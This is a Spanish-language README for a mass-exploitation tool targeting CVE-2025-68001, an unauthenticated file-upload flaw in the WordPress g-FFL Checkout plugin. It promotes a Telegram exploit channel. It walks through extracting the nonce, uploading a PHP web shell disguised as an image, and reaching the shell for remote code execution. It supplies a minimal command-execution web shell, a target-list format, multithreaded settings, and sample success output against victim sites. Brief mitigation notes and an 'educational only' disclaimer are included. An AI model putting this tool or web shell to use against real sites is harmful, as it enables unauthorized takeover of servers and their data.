
El plugin de WordPress g-FFL Checkout <= 2.1.0 es vulnerable a una Carga Arbitraria de Archivos de alta prioridad.
El plugin g-FFL Checkout de WordPress <= 2.1.0 es vulnerable a una Subida Arbitraria de Archivos de alta prioridad
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 Mantente a la vanguardia. Únete a @KNxploited en Telegram — tu fuente exclusiva de los últimos CVEs, zero-days e investigación de exploits de vanguardia. Actualizado constantemente. No es para todos.
CVE-2025-68001 es una vulnerabilidad crítica de Subida Arbitraria de Archivos sin Autenticación descubierta en el plugin g-FFL Checkout de WordPress por garidium.
La vulnerabilidad permite a un atacante remoto no autenticado subir archivos arbitrarios — incluidos web shells — al servidor objetivo a través de la acción AJAX ffl_upload_document, lo que conduce a una Ejecución Remota de Código (RCE) completa.
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2025-68001 |
| Plugin | g-FFL Checkout (g-ffl-checkout) |
| Versiones Afectadas | n/a hasta <= 2.1.0 |
| Tipo de Vulnerabilidad | Subida de Archivos Sin Restricciones |
| Impacto | Ejecución Remota de Código (RCE) |
| Autenticación | No Requerida |
| Severidad CVSS | Crítica |
| Investigador | Nxploited |
El exploit sigue una cadena de ataque precisa de múltiples pasos:
1. GET /checkout
↓
Extract `checkout_nonce` from inline JavaScript data
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<extracted_nonce>
document_type=document
document=<shell.php disguised as image/png>
↓
Server stores the file without extension or MIME validation
3. Parse JSON response
↓
Extract uploaded file path / unique filename
4. Access uploaded shell via HTTP
↓
Remote Code Execution achieved ✔️
El plugin expone un endpoint AJAX ffl_upload_document que:
Instala todas las dependencias antes de ejecutar:
pip install requests rich
| Dependencia | Propósito |
|---|---|
requests | Peticiones HTTP y gestión de sesiones |
rich | Interfaz de terminal, barras de progreso, paneles |
threading | Procesamiento de objetivos multihilo |
Se requiere Python 3.8+.
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
Crea un archivo list.txt con una URL de objetivo por línea:
https://target1.com
https://target2.com
http://target3.com/wordpress
El script antepone automáticamente
http://si no se proporciona un esquema.
Coloca tu web shell PHP en el mismo directorio. Ejemplo de shell mínima:
<?php system($_GET['cmd']); ?>
Guárdalo como shell.php (o cualquier otro nombre — se te pedirá que lo introduzcas).
python CVE-2025-68001.py
Se te pedirá de forma interactiva:
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
Los exploits exitosos se guardan automáticamente en success_results.txt:
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
Cada línea contiene:
| Indicación | Predeterminado | Descripción |
|---|---|---|
| Archivo de objetivos | list.txt | Archivo que contiene las URLs de los objetivos |
| Archivo shell | shell.php | Shell PHP a subir al objetivo |
| Número de hilos | 50 | Trabajadores concurrentes (máx.: 50) |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
All targets processed ✔️. Results saved to: success_results.txt
La vulnerabilidad reside en el manejador AJAX del plugin, registrado sin comprobaciones de capacidades:
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
Si eres propietario de un sitio o desarrollador, toma las siguientes medidas de inmediato:
g-ffl-checkout a una versión parcheada (> 2.1.0) si está disponible.htaccess).php sospechososTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following: